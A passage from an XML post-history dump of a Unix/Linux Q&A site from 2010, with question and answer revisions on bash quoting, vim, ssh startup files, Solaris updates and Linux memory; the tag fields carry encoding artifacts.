http://pubs.opengroup.org/onlinepubs/9699919799/utilities/V3_chap02.html#tag_18_06_02" />
  <row Id="10796" PostHistoryTypeId="2" PostId="4911" RevisionGUID="4a902706-88c6-41e8-ac37-39dd4d079c3c" CreationDate="2010-12-16T19:07:30.503" UserId="885" Text="[Googling easily leads to](http://lmgtfy.com/?q=gdm+squeeze+site%3Alists.debian.org&amp;l=1) [a message on a Debian mailing list](http://lists.debian.org/debian-doc/2010/04/msg00020.html) which is in fact [Debian bug #578704](http://bugs.debian.org/578704), a proposed addition to the release notes (snipped):&#xD;&#xA;&#xD;&#xA;&gt; Since the rewrite has absolutely zero compatibility with previous&#xD;&#xA;versions, it will not be upgraded in place. Therefore, while newly&#xD;&#xA;installed systems will get GDM 2.30 by default for squeeze, those&#xD;&#xA;upgrading from lenny will keep GDM 2.20. The 2.20 version will be&#xD;&#xA;dropped after the squeeze release.&#xD;&#xA;" />
  <row Id="10797" PostHistoryTypeId="4" PostId="4868" RevisionGUID="97a3955b-bdb1-4f63-a375-8fa9ef4e3a3f" CreationDate="2010-12-16T19:08:54.713" UserId="885" Comment="edited tags; edited title" Text="Missing Xutf8LookupString call in Solaris 10" />
  <row Id="10798" PostHistoryTypeId="6" PostId="4868" RevisionGUID="97a3955b-bdb1-4f63-a375-8fa9ef4e3a3f" CreationDate="2010-12-16T19:08:54.713" UserId="885" Comment="edited tags; edited title" Text="ésolarisàéx11àéutf8à" />
  <row Id="10799" PostHistoryTypeId="5" PostId="4900" RevisionGUID="44b211ca-e751-4bcd-a321-ea44571da53d" CreationDate="2010-12-16T19:16:54.133" UserId="2180" Comment="updated to reflect @Gilles input" Text="`VAR=$VAR1` is a simplified version of `VAR=${VAR1}`. There are things the second can do that the first cant, for instance reference an array index or count the length of the value. See the [More on variables][1] section of the Bash Guide for Beginners.&#xD;&#xA;&#xD;&#xA;Using quotes around a variable as in `VAR=&quot;$VAR1&quot;` and `VAR=&quot;${VAR}&quot;` is usually a good idea. This makes the contents of the variable an atomic unit. If the variable value contains spaces and you don't quote it, then each word is considered an argument in whatever you're doing.&#xD;&#xA;&#xD;&#xA;    $find .&#xD;&#xA;    .&#xD;&#xA;    ./another&#xD;&#xA;    ./filename&#xD;&#xA;    ./spaced filename&#xD;&#xA;    ./another spaced filename&#xD;&#xA;    var='spaced filename'&#xD;&#xA;    $#usually, 'spaced filename' would come from the output of some command and you weren't expecting it&#xD;&#xA;    $rm $var&#xD;&#xA;    rm: cannot remove `spaced': No such file or directory&#xD;&#xA;    $#oops! I just ran 'rm spaced filename'&#xD;&#xA;    $find .&#xD;&#xA;    .&#xD;&#xA;    ./another&#xD;&#xA;    ./spaced filename&#xD;&#xA;    ./another spaced filename&#xD;&#xA;    $var='another spaced filename'&#xD;&#xA;    $rm &quot;$var&quot;&#xD;&#xA;    $find .&#xD;&#xA;    .&#xD;&#xA;    ./another&#xD;&#xA;    ./spaced filename&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;On portability:&#xD;&#xA;According to [POSIX.1-2008 section 2.6.2][2], the curly braces are optional. &#xD;&#xA;&#xD;&#xA;  [1]: http://tldp.org/LDP/Bash-Beginners-Guide/html/chap_10.html&#xD;&#xA;  [2]: http://pubs.opengroup.org/onlinepubs/9699919799/utilities/V3_chap02.html#tag_18_06_02" />
  <row Id="10800" PostHistoryTypeId="2" PostId="4912" RevisionGUID="927309a2-81c8-4d2a-b6db-e91a0cf96004" CreationDate="2010-12-16T19:41:55.823" UserId="2339" Text="Trying the x86 live CD, installed it on a VirtualBox virtual machine, network connectivity and guest additions are OK.&#xD;&#xA;&#xD;&#xA;The &quot;Register&quot; link (which they imply is needed to get updates) gets me to an error page. The browser goes to&#xD;&#xA;&#xD;&#xA;https://inventory.sun.com/RegistrationWeb/register/urn:st:5b620481-ea10-e3c8-f16a-99bfff4e8eac?product=OracleSolaris&amp;version=11&amp;locale=en_US&#xD;&#xA;&#xD;&#xA;And then to&#xD;&#xA;&#xD;&#xA;https://inventory.sun.com/RegistrationWeb/OracleSolaris/default/en_US/register-login.jsp&#xD;&#xA;&#xD;&#xA;Which gives me a &quot;Not Found&quot; page.&#xD;&#xA;&#xD;&#xA;The update manager says there are no updates. I imagine it'd say otherwise if I was able to register the OS. But I can't. Any clues?&#xD;&#xA;&#xD;&#xA;(Fun fact: &quot;Add More Software&quot; and &quot;Update Manager&quot;, if called, like the proverbial goggles, did nothing... until I tried to run them from the console and saw a message that &quot;root password was expired&quot;. Aha. The &quot;root shall never login&quot; ideology was preventing them from running. OK, I gave root a password and was able to install much-needed software like gcc.)" />
  <row Id="10801" PostHistoryTypeId="1" PostId="4912" RevisionGUID="927309a2-81c8-4d2a-b6db-e91a0cf96004" CreationDate="2010-12-16T19:41:55.823" UserId="2339" Text="Can't register or update Solaris 11 Express" />
  <row Id="10802" PostHistoryTypeId="3" PostId="4912" RevisionGUID="927309a2-81c8-4d2a-b6db-e91a0cf96004" CreationDate="2010-12-16T19:41:55.823" UserId="2339" Text="ésolarisàéupgradeà" />
  <row Id="10803" PostHistoryTypeId="2" PostId="4913" RevisionGUID="b0afc213-fbde-47c8-89ba-dae2fc122364" CreationDate="2010-12-16T20:10:54.663" UserId="2180" Text="I'm looking for the opposite of `x`. I want to insert just one character and stay in command mode." />
  <row Id="10804" PostHistoryTypeId="1" PostId="4913" RevisionGUID="b0afc213-fbde-47c8-89ba-dae2fc122364" CreationDate="2010-12-16T20:10:54.663" UserId="2180" Text="Vim command for inserting a character" />
  <row Id="10805" PostHistoryTypeId="3" PostId="4913" RevisionGUID="b0afc213-fbde-47c8-89ba-dae2fc122364" CreationDate="2010-12-16T20:10:54.663" UserId="2180" Text="évimàévià" />
  <row Id="10806" PostHistoryTypeId="2" PostId="4914" RevisionGUID="aa9b9a88-4adb-4648-ad3d-d2b0cb441932" CreationDate="2010-12-16T20:37:13.197" UserId="3069" Text="You could map a key(-sequence) to a command sequence, f.e.:&#xD;&#xA;&#xD;&#xA;`:map &lt;C-i&gt; i_&lt;Esc&gt;r`&#xD;&#xA;&#xD;&#xA;Ctrl-i takes one character and returns afterwards." />
  <row Id="10809" PostHistoryTypeId="5" PostId="4914" RevisionGUID="d28387fb-768a-4d8f-a752-42d828a9a119" CreationDate="2010-12-16T21:10:44.260" UserId="3069" Comment="added persistance info" Text="You could map a key(-sequence) to a command sequence, f.e.:&#xD;&#xA;&#xD;&#xA;    :map &lt;C-i&gt; i_&lt;Esc&gt;r&#xD;&#xA;&#xD;&#xA;Ctrl-i takes one character and returns afterwards.&#xD;&#xA;&#xD;&#xA;To make it persistent, add the same line to the local or global vimrc file:&#xD;&#xA;&#xD;&#xA;    ~/.vimrc&#xD;&#xA;    /etc/vim/vimrc" />
  <row Id="10810" PostHistoryTypeId="2" PostId="4916" RevisionGUID="5da1a089-18f0-496c-863d-050763a65a3d" CreationDate="2010-12-16T21:12:22.310" UserId="885" Text="I ended up using Perl's [`DateTime::Event::Sunrise`](http://search.cpan.org/perldoc?DateTime::Event::Sunrise), because it tends to be easier for me to deploy a module from CPAN than to compile C programs.&#xD;&#xA;&#xD;&#xA;Sample usage:&#xD;&#xA;&#xD;&#xA;    use DateTime;&#xD;&#xA;    use DateTime::Astro::Sunrise;&#xD;&#xA;    $latitude = &quot;+48.857&quot;; $longitude = &quot;+2.351&quot;; &#xD;&#xA;    $sr = DateTime::Astro::Sunrise-&gt;new($longitude, $latitude, 0, 3);&#xD;&#xA;    $date = DateTime-&gt;now; $date-&gt;set_time_zone(&quot;local&quot;);&#xD;&#xA;    ($rise, $set) = $sr-&gt;sunrise($date);&#xD;&#xA;    $rise-&gt;set_time_zone(&quot;local&quot;); $set-&gt;set_time_zone(&quot;local&quot;);&#xD;&#xA;    print $rise, &quot; to &quot;, $set, &quot;\n&quot;;&#xD;&#xA;&#xD;&#xA;[My `sunrise` script](http://gilles.pastebin.com/dZ1GMFY1).&#xD;&#xA;" />
  <row Id="10811" PostHistoryTypeId="6" PostId="4036" RevisionGUID="fec34f30-b9d4-47d2-a10a-7c3c80e561f6" CreationDate="2010-12-16T21:16:42.853" UserId="885" Comment="edited tags" Text="ésoftwareörecàédictionaryà" />
  <row Id="10812" PostHistoryTypeId="6" PostId="3322" RevisionGUID="d1b4dabb-1b9f-4946-9a2b-dcb4291529e2" CreationDate="2010-12-16T21:17:20.937" UserId="885" Comment="edited tags" Text="élinuxàéosxàéexecutableàécompatibilityà" />
  <row Id="10813" PostHistoryTypeId="6" PostId="1304" RevisionGUID="e5442311-ddb5-4003-9483-d5d345626e23" CreationDate="2010-12-16T21:18:27.940" UserId="885" Comment="edited tags" Text="éfileötransferàémusicàéipodà" />
  <row Id="10814" PostHistoryTypeId="2" PostId="4917" RevisionGUID="1245f851-7152-4c1c-b77f-1d5b3db9debd" CreationDate="2010-12-16T21:23:09.283" UserId="3110" Text="jigdo can be difficult to use.  In today's world, if you need distributed file distribution (boy, doesn't that sound just plain odd) it is probably best to use BitTorrent.  It may not do all that great for updates, or incremental improvements, but it's a helluva way to distribute the load across the entire Internet, of course given enough participation.&#xD;&#xA;&#xD;&#xA;If what you need is a means by which to do incremental updates, perhaps as a central mirror to fan-out sites, or even from a collection of mirrors to end-users, I'd recommend using rsync's daemon mode to expose modules that can be synchronized.&#xD;&#xA;&#xD;&#xA;Honestly, what tool to use depends on your audience, though I can say that if your audience are not a patient bunch, jigdo is most likely out of the question entirely." />
  <row Id="10815" PostHistoryTypeId="6" PostId="2934" RevisionGUID="c056ed25-902f-4d98-af12-e8f01a01bafa" CreationDate="2010-12-16T21:32:59.100" UserId="73" Comment="edited tags" Text="élinuxàéfedoraàéyumà" />
  <row Id="10816" PostHistoryTypeId="2" PostId="4918" RevisionGUID="0a989c1c-8e33-4aee-aa5c-3943ddf69787" CreationDate="2010-12-16T21:46:47.630" UserId="146" Text="Updates for Solaris 11 Express are only available if you purchase a support contract.  There are no free updates at this time, so registering won't help there.&#xD;&#xA;&#xD;&#xA;The [release notes][1], which the download page tells you to read before installing, warn you about [the expired root password issue][2].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://docs.sun.com/app/docs/doc/821-1479 &quot;Oracle Solaris 11 Express Release Notes&quot;&#xD;&#xA;  [2]: http://docs.sun.com/app/docs/doc/821-1479/gknag?l=en&amp;a=view" />
  <row Id="10817" PostHistoryTypeId="2" PostId="4919" RevisionGUID="b5d704c0-4822-4a44-8817-76e58578fd25" CreationDate="2010-12-16T23:30:22.503" UserId="1375" Text="I am planning to setup a groupware server that's either [Citadel][1] or [SOGo][2], which supports the GroupDAV, CardDAV, or SyncML protocols.&#xD;&#xA;&#xD;&#xA;Is there a commandline e-mail client that supports syncing contacts via such protocols either out of the box or with a plugin/extension?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.citadel.org/doku.php&#xD;&#xA;  [2]: http://www.sogo.nu/" />
  <row Id="10818" PostHistoryTypeId="1" PostId="4919" RevisionGUID="b5d704c0-4822-4a44-8817-76e58578fd25" CreationDate="2010-12-16T23:30:22.503" UserId="1375" Text="Commandline e-mail client that syncs contacts with external server?" />
  <row Id="10819" PostHistoryTypeId="3" PostId="4919" RevisionGUID="b5d704c0-4822-4a44-8817-76e58578fd25" CreationDate="2010-12-16T23:30:22.503" UserId="1375" Text="écommandölineàésyncà" />
  <row Id="10820" PostHistoryTypeId="2" PostId="4920" RevisionGUID="cb3823a8-6a85-4b05-912f-8fbf363f3575" CreationDate="2010-12-17T00:12:19.603" UserId="3165" Text="How could processes share memory in early versions of UNIX version modern implementations of shared memory?" />
  <row Id="10821" PostHistoryTypeId="1" PostId="4920" RevisionGUID="cb3823a8-6a85-4b05-912f-8fbf363f3575" CreationDate="2010-12-17T00:12:19.603" UserId="3165" Text="What is the difference between shared memory in early unix systems vs modern unix systems?" />
  <row Id="10822" PostHistoryTypeId="3" PostId="4920" RevisionGUID="cb3823a8-6a85-4b05-912f-8fbf363f3575" CreationDate="2010-12-17T00:12:19.603" UserId="3165" Text="éunixàéhistoryà" />
  <row Id="10823" PostHistoryTypeId="2" PostId="4921" RevisionGUID="fc52233d-7d37-4634-aec6-bec0427ad3e1" CreationDate="2010-12-17T01:03:12.340" UserId="2630" Text="I have some important commands I need to execute before any sh shell starts. This is required for passing SSH commands in the SSH command (`ssh host somecommand`) and other programs that run commands.&#xD;&#xA;&#xD;&#xA;In my `.profile` I have this:&#xD;&#xA;&#xD;&#xA;    ihammerhands@wreckcreations:~&gt; cat .profile&#xD;&#xA;    #specific environment and startup programs&#xD;&#xA;    export PS1=&quot;\u@wreckcreations:\w&gt; &quot;&#xD;&#xA;    export PYTHONPATH=~/python/lib/python2.4/site-packages&#xD;&#xA;    export PATH=$PATH:~/bin:~/python/bin&#xD;&#xA;&#xD;&#xA;However, this fails:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    W:\programming\wreckcreations-site\test-hg&gt;ssh ihammerhands@evilxproductions.net echo $PATH&#xD;&#xA;    Enter passphrase for key '/home/Owner/.ssh/id_rsa':&#xD;&#xA;    /usr/local/bin:/bin:/usr/bin&#xD;&#xA;&#xD;&#xA;Notice the missing PATH options&#xD;&#xA;&#xD;&#xA;What is the proper name for the sh profile? Note: I do not have root access and don't want this applied to other users. Is there another way to do this?&#xD;&#xA;&#xD;&#xA;" />
  <row Id="10824" PostHistoryTypeId="1" PostId="4921" RevisionGUID="fc52233d-7d37-4634-aec6-bec0427ad3e1" CreationDate="2010-12-17T01:03:12.340" UserId="2630" Text="sh startup files?" />
  <row Id="10825" PostHistoryTypeId="3" PostId="4921" RevisionGUID="fc52233d-7d37-4634-aec6-bec0427ad3e1" CreationDate="2010-12-17T01:03:12.340" UserId="2630" Text="éshellà" />
  <row Id="10826" PostHistoryTypeId="5" PostId="4921" RevisionGUID="16484225-7ab4-4f52-a849-0a30cd89cd62" CreationDate="2010-12-17T01:14:12.943" UserId="2630" Comment="added 151 characters in body; deleted 24 characters in body" Text="I have some important commands I need to execute before any sh shell starts. This is required for passing SSH commands in the SSH command (`ssh host somecommand`) and other programs that run commands.&#xD;&#xA;&#xD;&#xA;In my `.profile` I have this:&#xD;&#xA;&#xD;&#xA;    ihammerhands@wreckcreations:~&gt; cat .profile&#xD;&#xA;    #specific environment and startup programs&#xD;&#xA;    export PS1=&quot;\u@wreckcreations:\w&gt; &quot;&#xD;&#xA;    export PYTHONPATH=~/python/lib/python2.4/site-packages&#xD;&#xA;    export PATH=$PATH:~/bin:~/python/bin&#xD;&#xA;&#xD;&#xA;However, this fails:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    W:\programming\wreckcreations-site\test-hg&gt;ssh name@host echo $PATH&#xD;&#xA;    Enter passphrase for key '/home/Owner/.ssh/id_rsa':&#xD;&#xA;    /usr/local/bin:/bin:/usr/bin&#xD;&#xA;&#xD;&#xA;Notice the missing PATH options&#xD;&#xA;&#xD;&#xA;What is the proper name for the sh profile? Note: I do not have root access and don't want this applied to other users. Is there another way to do this?&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;EDIT: It appears `/bin/sh` links to `bash`, which isn't surprising. What is surprising is that my profile is still ignored. Any suggestions?&#xD;&#xA;&#xD;&#xA;" />
  <row Id="10828" PostHistoryTypeId="2" PostId="4923" RevisionGUID="5017e866-70fb-429f-9744-59ccd80b8e4a" CreationDate="2010-12-17T02:15:26.080" UserId="3110" Text="*Very* early UNIX systems did not have [MMUs][0], and so effectively, **all** memory in the system was shared between all processes in memory.  UNIX V7 was the first one that had memory management, AFAIK.  The PDP-11 did not even have a MMU when it was released; see [this PDF book, page 35][1].&#xD;&#xA;&#xD;&#xA;As time moved forward and MMUs became a commonplace thing, UNIX began to require it.  And then memory could be separated between processes.  In the 1980s we saw more IPC mechanisms, including shared memory managed by the OS (which was new in SVR1, circa 1983).  SVR1 also introduced messages and semaphors, and the System V APIs are still available on modern systems for all three of these things.&#xD;&#xA;&#xD;&#xA;[0]: http://en.wikipedia.org/wiki/Memory_management_unit&#xD;&#xA;[1]: http://wwwlehre.dhbw-stuttgart.de/~helbig/os/script/OS.pdf" />
  <row Id="10829" PostHistoryTypeId="2" PostId="4924" RevisionGUID="d90ae436-43e7-4a56-9b41-48c733796c3b" CreationDate="2010-12-17T02:40:40.447" UserId="1207" Text="According to the documentation of both of the software products you linked to ([here][1] and [here][2]) both support storing directory information using LDAP.  If you do not find a command line email client that supports the protocols that you mentioned, you could try using LDAP instead.  Every decent email client supports LDAP.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.citadel.org/doku.php/documentation:system_administration_manual#ldapdirectorysupport&#xD;&#xA;  [2]: http://www.sogo.nu/english/support/documentation.html" />
  <row Id="10830" PostHistoryTypeId="2" PostId="4925" RevisionGUID="6cf55d9f-972c-4372-b04c-78055c05f4f6" CreationDate="2010-12-17T04:48:08.563" UserId="2150" Text="I run out of time to test this, but looking though the man pages I found:&#xD;&#xA;&#xD;&#xA;man bash:&#xD;&#xA;       When bash is started non-interactively, to run a shell script, for example,  it&#xD;&#xA;       looks  for  the  variable  BASH_ENV in the environment, expands its value if it&#xD;&#xA;       appears there, and uses the expanded value as the name of a file  to  read  and&#xD;&#xA;       execute.  Bash behaves as if the following command were executed:&#xD;&#xA;              if [ -n &quot;$BASH_ENV&quot; ]; then . &quot;$BASH_ENV&quot;; fi&#xD;&#xA;       but the value of the PATH variable is not used to search for the file name.&#xD;&#xA;&#xD;&#xA;man ssh:&#xD;&#xA;     ~/.ssh/environment&#xD;&#xA;             Contains additional definitions for environment variables; see&#xD;&#xA;             ENVIRONMENT, above.&#xD;&#xA;&#xD;&#xA;The combination suggests how you can have ssh execute your .profile&#xD;&#xA;As I said, I however do not now have the time to test it." />
  <row Id="10831" PostHistoryTypeId="5" PostId="4925" RevisionGUID="78de22bf-92af-4853-83ee-5dd030d2d074" CreationDate="2010-12-17T04:55:01.227" UserId="2150" Comment="Tested a little more, so added some info." Text="I run out of time to test this, but looking though the man pages I found:&#xD;&#xA;&#xD;&#xA;man bash:&#xD;&#xA;       When bash is started non-interactively, to run a shell script, for example,  it&#xD;&#xA;       looks  for  the  variable  BASH_ENV in the environment, expands its value if it&#xD;&#xA;       appears there, and uses the expanded value as the name of a file  to  read  and&#xD;&#xA;       execute.  Bash behaves as if the following command were executed:&#xD;&#xA;              if [ -n &quot;$BASH_ENV&quot; ]; then . &quot;$BASH_ENV&quot;; fi&#xD;&#xA;       but the value of the PATH variable is not used to search for the file name.&#xD;&#xA;&#xD;&#xA;man ssh:&#xD;&#xA;     ~/.ssh/environment&#xD;&#xA;             Contains additional definitions for environment variables; see&#xD;&#xA;             ENVIRONMENT, above.&#xD;&#xA;&#xD;&#xA;The combination suggests how you can have ssh execute your .profile&#xD;&#xA;&#xD;&#xA;Unfortunately my server has PermitUserEnvironment to the default value of no, which makes that this does not work for me (and like I said I don't have the time to play with it more)." />
  <row Id="10832" PostHistoryTypeId="2" PostId="4926" RevisionGUID="4704bb45-73bc-4998-abca-b42a4a0fb490" CreationDate="2010-12-17T08:02:38.770" UserId="2413" Text="It seems worth noting that the command you mention in your question &#xD;&#xA;&#xD;&#xA;    ssh name@host echo $PATH&#xD;&#xA;will pretty much never be useful.  The variable substitution for $PATH is done by your local shell, and passed to ssh which executes echo on the remote system to print the contents of the path variable, as it expanded on your local system.  Here is an example of me doing something similar between my Mac and a Linux machine on my network:&#xD;&#xA;&#xD;&#xA;    LibMBP:~ will$ echo $PATH&#xD;&#xA;    /opt/local/bin:/opt/local/sbin:/Users/will/bin:/usr/bin:/bin:/usr/sbin:/sbin:/usr/local/bin:/usr/texbin:/usr/X11/bin&#xD;&#xA;    LibMBP:~ will$ ssh warren echo $PATH&#xD;&#xA;    will@warren's password: &#xD;&#xA;    /opt/local/bin:/opt/local/sbin:/Users/will/bin:/usr/bin:/bin:/usr/sbin:/sbin:/usr/local/bin:/usr/texbin:/usr/X11/bin&#xD;&#xA;    LibMBP:~ will$ ssh warren 'echo $PATH'&#xD;&#xA;    will@warren's password: &#xD;&#xA;    /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games&#xD;&#xA;    LibMBP:~ will$ &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Note how I needed to use quotes to prevent my local shell from expanding the variable.&#xD;&#xA;" />
  <row Id="10833" PostHistoryTypeId="2" PostId="4927" RevisionGUID="d811f68c-edd9-4090-bfce-cd512d39caea" CreationDate="2010-12-17T08:12:36.337" UserId="3173" Text="[This][1] should answer all your question and more.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://stackoverflow.com/questions/415403/whats-the-difference-between-bashrc-bash-profile-and-environment" />
  <row Id="10834" PostHistoryTypeId="5" PostId="4895" RevisionGUID="5c42d9e0-e8cc-407a-8c3d-99b2fef981c2" CreationDate="2010-12-17T09:30:08.280" UserId="688" Comment="ad link to Squeeze" Text="Both gdm (based on **2.20**) and gdm3 (based on **2.30**) are available in [Debian Squeeze][1]. Supposing that gdm3 should replace gdm, why are they both still supported?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.debian.org/releases/testing/" />
  <row Id="10835" PostHistoryTypeId="2" PostId="4928" RevisionGUID="04624da9-6d80-4bea-b6e7-9db564c15562" CreationDate="2010-12-17T09:42:01.220" UserId="3175" Text="Just like &quot;ci(&quot; changes everything between parentheses, I want &quot;ci$&quot; to change everything between dollar signs (for editing LaTeX.)  Is this possible?" />
  <row Id="10836" PostHistoryTypeId="1" PostId="4928" RevisionGUID="04624da9-6d80-4bea-b6e7-9db564c15562" CreationDate="2010-12-17T09:42:01.220" UserId="3175" Text="How do I modify the ci command in vim" />
  <row Id="10837" PostHistoryTypeId="3" PostId="4928" RevisionGUID="04624da9-6d80-4bea-b6e7-9db564c15562" CreationDate="2010-12-17T09:42:01.220" UserId="3175" Text="évimàévià" />
  <row Id="10838" PostHistoryTypeId="2" PostId="4929" RevisionGUID="26c6e75d-eb46-4b4a-82f7-b6594dff8e7d" CreationDate="2010-12-17T09:59:15.017" UserId="2871" Text="Hi All,  &#xD;&#xA;&#xD;&#xA;I would like to know in detail regarding the idea behind Highmem and Lowmem.  &#xD;&#xA;&#xD;&#xA; 1. Why is there such a differentiation?&#xD;&#xA;    &#xD;&#xA; 2. What do we gain by doing so?&#xD;&#xA;&#xD;&#xA; 3. What features does each have?  &#xD;&#xA;&#xD;&#xA;Thanks,   &#xD;&#xA;Sen" />
  <row Id="10839" PostHistoryTypeId="1" PostId="4929" RevisionGUID="26c6e75d-eb46-4b4a-82f7-b6594dff8e7d" CreationDate="2010-12-17T09:59:15.017" UserId="2871" Text="What is the idea behind Highmem and Lowmem?" />
  <row Id="10840" PostHistoryTypeId="3" PostId="4929" RevisionGUID="26c6e75d-eb46-4b4a-82f7-b6594dff8e7d" CreationDate="2010-12-17T09:59:15.017" UserId="2871" Text="élinuxàémemoryà" />
  <row Id="10842" PostHistoryTypeId="2" PostId="4930" RevisionGUID="c5a022a3-a04d-45ec-9184-0f765eafb401" CreationDate="2010-12-17T11:00:33.447" UserId="252" Text="As far as I remember, &quot;High Memory&quot; is used for application space and &quot;Low Memory&quot; for the kernel.&#xD;&#xA;&#xD;&#xA;Advantage is that (user-space) applications can't access kernel-space memory." />
  <row Id="10843" PostHistoryTypeId="2" PostId="4931" RevisionGUID="995a72c3-bbf9-4c39-ba4c-6852077b2f7e" CreationDate="2010-12-17T11:54:06.833" UserId="305" Text="What does it mean if file descriptor leaking&#xD;&#xA;&#xD;&#xA;     File descriptor 6 (socket:[901758]) leaked on lvextend invocation. Parent PID 10035: /bin/zsh&#xD;&#xA;     File descriptor 9 (/dev/pts/1) leaked on lvextend invocation. Parent PID 10035: /bin/zsh&#xD;&#xA;     File descriptor 11 (/dev/pts/1) leaked on lvextend invocation. Parent PID 10035: /bin/zsh&#xD;&#xA;     File descriptor 12 (/dev/pts/1) leaked on lvextend invocation. Parent PID 10035: /bin/zsh&#xD;&#xA;     File descriptor 15 (/dev/pts/7) leaked on lvextend invocation. Parent PID 10035: /bin/zsh&#xD;&#xA;     File descriptor 17 (/dev/pts/7) leaked on lvextend invocation. Parent PID 10035: /bin/zsh&#xD;&#xA;     File descriptor 18 (/dev/pts/7) leaked on lvextend invocation. Parent PID 10035: /bin/zsh&#xD;&#xA;       Extending logical volume usr to 30.00 GiB&#xD;&#xA;       Logical volume usr successfully resized&#xD;&#xA;&#xD;&#xA;What does it mean?" />
  <row Id="10844" PostHistoryTypeId="1" PostId="4931" RevisionGUID="995a72c3-bbf9-4c39-ba4c-6852077b2f7e" CreationDate="2010-12-17T11:54:06.833" UserId="305" Text="Leaking file descriptors" />
  <row Id="10845" PostHistoryTypeId="3" PostId="4931" RevisionGUID="995a72c3-bbf9-4c39-ba4c-6852077b2f7e" CreationDate="2010-12-17T11:54:06.833" UserId="305" Text="éshellàélvmà" />
  <row Id="10846" PostHistoryTypeId="2" PostId="4932" RevisionGUID="02418f39-c4ad-499d-b3c8-a78b4b33c3ba" CreationDate="2010-12-17T12:06:16.307" UserId="3069" Text="Those are file descriptors left open on the device (which you were resizing).&#xD;&#xA;&#xD;&#xA;lvm(8) says: &#xD;&#xA;&#xD;&#xA;    On invocation, lvm requires that only the standard file descriptors stdin, stdout&#xD;&#xA;    and stderr are available. If others are found, they get closed and messages&#xD;&#xA;    are issued warning about the leak." />
  <row Id="10847" PostHistoryTypeId="2" PostId="4933" RevisionGUID="b11b216a-6cf2-49ad-8c50-e5ceed55f5e1" CreationDate="2010-12-17T12:58:09.113" UserId="2180" Text="This is relevant to the Linux kernel; I'm not sure how any Unix kernel handles this.&#xD;&#xA;&#xD;&#xA;The High Memory is the segment of memory that user-space programs can address. It cannot touch Low Memory.&#xD;&#xA;&#xD;&#xA;Low Memory is the segment of memory that the Linux kernel can address directly. If the kernel must access High Memory, it has to map it into its own address space first.&#xD;&#xA;&#xD;&#xA;There was a patch introduced recently that lets you control where the segment is. The tradeoff is that you can take addressable memory away from user space so that the kernel can have more memory that it does not have to map before using.&#xD;&#xA;&#xD;&#xA;Additional resources:&#xD;&#xA;&#xD;&#xA; - [http://tldp.org/HOWTO/KernelAnalysis-HOWTO-7.html][1]&#xD;&#xA; - [http://linux-mm.org/HighMemory][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://linux-mm.org/HighMemory&#xD;&#xA;  [2]: http://linux-mm.org/HighMemory" />
  <row Id="10848" PostHistoryTypeId="5" PostId="4927" RevisionGUID="814fed6c-7f31-4405-9821-e5b99f425bd1" CreationDate="2010-12-17T12:58:30.457" UserId="3173" Comment="added 345 characters in body" Text="[This][1] should answer all your question and more.&#xD;&#xA;&#xD;&#xA;Update&#xD;&#xA;------&#xD;&#xA;&#xD;&#xA;An ssh session will invoke a login shell. The files that get sourced differ for login and non-login sessions.&#xD;&#xA;&#xD;&#xA;[Here][2] is an overview of how both bash and zsh source your dotfiles, in which order, and in what case.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://stackoverflow.com/questions/415403/whats-the-difference-between-bashrc-bash-profile-and-environment&#xD;&#xA;  [2]: http://shreevatsa.wordpress.com/2008/03/30/zshbash-startup-files-loading-order-bashrc-zshrc-etc/" />
  <row Id="10849" PostHistoryTypeId="2" PostId="4934" RevisionGUID="4bebea32-a677-4d29-ac6c-bdbd8c6d3b4f" CreationDate="2010-12-17T13:01:59.190" UserId="3183" Text="Hi there,&#xD;&#xA;&#xD;&#xA;so am running a Fedora Core 13 with dm-crypt + luks, all standard with fedora distos.&#xD;&#xA;&#xD;&#xA;after upgrading libgcrypt.so, cryptsetup moans @ boot up that it can not find the library where it expects it (/lib).&#xD;&#xA;&#xD;&#xA;so I booted with a live cd, decrypted the root partition of that drive, and mounted my old hard drive, then I chroot'ed there.&#xD;&#xA;I ran cryptsetup and as expected it bombed out with the same error as when booting up...&#xD;&#xA;I quickly symlinked the file where it wanted it, saw that cryptsetup works 100%, and rebooted...Expecting it to be all good I was puzzled by the same error again...did I not save my changes? I thought....&#xD;&#xA;Booted back into the OS, mounted the hdd &amp; chroot'ed again, and to my amazement I found my symlink where I left it and cryptsetup working.&#xD;&#xA;&#xD;&#xA;Can someone tell me why this is happening? Why is cryptsetup still looking for the file in /lib and not finding it when its obviously there?!&#xD;&#xA;&#xD;&#xA;P.S. I have also tried making duplicates of the libgcrypt library files in /lib as well as tried recompling cryptsetup from source, it all works 100% untill I reboot and then that error again!&#xD;&#xA;&#xD;&#xA;Am thinkin' of just rebuilding that box, but I thought I'd ask you guys first?&#xD;&#xA;Anyone come across a similar issue?" />
  <row Id="10850" PostHistoryTypeId="1" PostId="4934" RevisionGUID="4bebea32-a677-4d29-ac6c-bdbd8c6d3b4f" CreationDate="2010-12-17T13:01:59.190" UserId="3183" Text="Cryptsetup not finding libgcrypt.so after upgrade" />
  <row Id="10851" PostHistoryTypeId="3" PostId="4934" RevisionGUID="4bebea32-a677-4d29-ac6c-bdbd8c6d3b4f" CreationDate="2010-12-17T13:01:59.190" UserId="3183" Text="éfedoraà" />
